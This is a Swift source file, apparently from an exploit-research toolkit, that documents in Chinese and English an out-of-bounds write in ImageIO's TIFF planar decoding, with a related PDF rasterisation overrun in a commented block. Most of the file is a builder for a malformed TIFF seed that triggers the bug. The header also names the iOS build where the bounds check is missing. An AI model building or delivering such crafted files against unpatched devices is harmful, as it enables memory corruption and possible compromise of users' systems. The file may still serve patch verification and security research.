144 lines
6.5 KiB
Swift
144 lines
6.5 KiB
Swift
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614
|
||
// 原语: OOB 写 · 进程内 · tier 2
|
||
// Primitive: OOB write · in-process · tier 2
|
||
//
|
||
// [zh] TIFF planar 散写越界
|
||
// 当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。
|
||
// 27.2 改为 64 位 umull 并比对所需字节数与容量。
|
||
//
|
||
// [en] TIFF planar scatter out-of-bounds write
|
||
// With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric,
|
||
// the scatter pointer offset is computed with a 32-bit multiply and the result is never compared
|
||
// against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required
|
||
// bytes against capacity.
|
||
// ── 判别 / oracle ──
|
||
// 24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。
|
||
// 变体 iio.pdf.raster: PDF 栅格化解码缓冲越界
|
||
|
||
import Foundation
|
||
|
||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||
enum B {
|
||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||
static func be32(_ v: UInt32) -> [UInt8] {
|
||
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
||
}
|
||
static func le32(_ v: UInt32) -> [UInt8] {
|
||
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
||
}
|
||
static func be64(_ v: UInt64) -> [UInt8] {
|
||
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
||
}
|
||
static func le64(_ v: UInt64) -> [UInt8] {
|
||
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
||
}
|
||
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
||
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||
}
|
||
|
||
/*
|
||
// iio.pdf.raster · ImageIO · PDFReadPlugin::decodeImageData · CVE-2026-112633
|
||
// 原语: OOB 写 · 进程内 · tier 2
|
||
// Primitive: OOB write · in-process · tier 2
|
||
//
|
||
// [zh] PDF 栅格化解码缓冲越界
|
||
// PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer
|
||
// too small: need %zu bytes (%zu x %zu), have %zu\"。
|
||
//
|
||
// [en] PDF rasterisation decode buffer overrun
|
||
// The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is
|
||
// large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports
|
||
// "decode buffer too small: need %zu bytes (%zu x %zu), have %zu".
|
||
*/
|
||
|
||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ──
|
||
enum TIFFPayload {
|
||
struct Entry {
|
||
let tag: UInt16
|
||
let type: UInt16
|
||
let count: UInt32
|
||
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
|
||
}
|
||
|
||
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
|
||
let ifdOffset = 8
|
||
let ifdSize = 2 + entries.count * 12 + 4
|
||
var extraOffset = ifdOffset + ifdSize
|
||
if extraOffset % 2 == 1 { extraOffset += 1 }
|
||
|
||
var extra = Data()
|
||
var blobOffsets: [UInt16: UInt32] = [:]
|
||
for blob in blobs {
|
||
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
|
||
extra.append(contentsOf: blob.bytes)
|
||
}
|
||
|
||
var out = Data()
|
||
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
|
||
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
|
||
out.append(contentsOf: B.le16(UInt16(entries.count)))
|
||
for e in entries.sorted(by: { $0.tag < $1.tag }) {
|
||
out.append(contentsOf: B.le16(e.tag))
|
||
out.append(contentsOf: B.le16(e.type))
|
||
out.append(contentsOf: B.le32(e.count))
|
||
if e.value.count <= 4 {
|
||
var v = e.value
|
||
while v.count < 4 { v.append(0) }
|
||
out.append(contentsOf: v)
|
||
} else {
|
||
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
|
||
}
|
||
}
|
||
out.append(contentsOf: B.le32(0))
|
||
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
|
||
out.append(extra)
|
||
return out
|
||
}
|
||
|
||
static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data {
|
||
let bits: [UInt8] = (0..<spp).flatMap { _ in B.le16(8) }
|
||
let stripBytes = width * height
|
||
|
||
// Deterministic layout: IFD at 8, then BitsPerSample blob, then StripOffsets blob,
|
||
// then the plane data. Every offset below is computed, not patched.
|
||
let ifdOffset = 8
|
||
let ifdSize = 2 + 10 * 12 + 4
|
||
var extraOffset = ifdOffset + ifdSize
|
||
if extraOffset % 2 == 1 { extraOffset += 1 }
|
||
let bitsOffset = extraOffset
|
||
let offsetsBlobOffset = bitsOffset + bits.count
|
||
let stripBase = offsetsBlobOffset + spp * 4
|
||
|
||
var stripOffsets: [UInt8] = []
|
||
for i in 0..<spp { stripOffsets += B.le32(UInt32(stripBase + i * stripBytes)) }
|
||
|
||
let entries: [Entry] = [
|
||
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
|
||
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
|
||
Entry(tag: 258, type: 3, count: UInt32(spp), value: bits),
|
||
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
|
||
Entry(tag: 262, type: 3, count: 1, value: B.le16(photometric)),
|
||
Entry(tag: 273, type: 4, count: UInt32(spp), value: stripOffsets),
|
||
Entry(tag: 277, type: 3, count: 1, value: B.le16(UInt16(spp))),
|
||
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height))),
|
||
Entry(tag: 279, type: 4, count: UInt32(spp), value: (0..<spp).flatMap { _ in B.le32(UInt32(stripBytes)) }),
|
||
Entry(tag: 284, type: 3, count: 1, value: B.le16(2)),
|
||
]
|
||
|
||
var data = build(entries: entries, blobs: [(258, bits), (273, stripOffsets)])
|
||
// pad to the computed strip base in case the builder aligned differently
|
||
if data.count < stripBase {
|
||
data.append(contentsOf: [UInt8](repeating: 0, count: stripBase - data.count))
|
||
}
|
||
for plane in 0..<spp {
|
||
data.append(contentsOf: [UInt8](repeating: UInt8(0x40 + plane * 0x20), count: stripBytes))
|
||
}
|
||
return data
|
||
}
|
||
|
||
}
|
||
|
||
|